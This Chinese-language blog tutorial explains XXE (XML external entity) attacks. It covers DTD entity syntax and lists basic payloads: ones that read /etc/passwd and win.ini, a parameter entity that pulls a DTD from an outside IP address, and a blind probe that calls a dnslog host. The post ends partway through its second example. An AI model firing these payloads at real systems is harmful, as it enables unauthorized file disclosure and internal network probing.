XXE的利用手法及绕过

https://mp.weixin.qq.com/s/Kr2o-sSnAkSoyKRpjjK2yg
https://www.anquanke.com/post/id/209826

简单介绍

当目标运行我们引用外部实体时,可通过构造恶意数据,执行任意文件读取,内网端口探测,攻击内网,甚至命令执行——安装了expect扩展。

XXE主要由DTD文档构成,因此先介绍DTD,如下所示红色部分为DTD
image.png
1、开头必须声明为XML <?xml version="1.0"?>
2、第二行为

例如 <!DOCTYPE NOTE    //声明此文档为NOTE类型
     <!DOCTYPE ANY     //也可以为ANY   
     <!DOCTYPE ROOT		//ROOT之类 

3、DTD有内外引用两种方式
1)内部的 DOCTYPE 声明

2)外部文档声明
PUBLIC也是可以的,和SYSTEM一样
DTD的实体声明有三种方式
(1)内部实体声明
<!ENTITY 实体名称 "实体的值">
例如:<!ELEMENT note (message+)>
(2)外部实体声明
<!ENTITY 实体名称 SYSTEM "URI">
例如: <!ENTITY foo SYSTEM "file:///etc/passwd">
(3)参数实体声明
<!ENTITY %实体名称 ”实体的值”>或者<!ENTITY %实体名称 SYSTEM ”URI”>
例如:<!ENTITY %remote SYSTEM "[http://119.23.14.70:8080/xxe.xml">](http://119.23.14.70:8080/xxe.xml">)

基础的XXEpyaload

burp搜索XML看是否存在相关XML字段
或自己修改content-type为 application/xml   Content-type: text/xml

1、盲探测

向某个网站的某个端口发送一条请求,成功建立的请求持续时间会特别长

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
    <!ENTITY Quan SYSTEM "http://6w3pkd.dnslog.cn">
]>
<root>&Quan;</root>
image.png image.png

2、有回显的读取文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
    <!ENTITY file PUBLIC "data" "file:///c:/windows/win.ini">
    ]>
<user><username>&file;
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值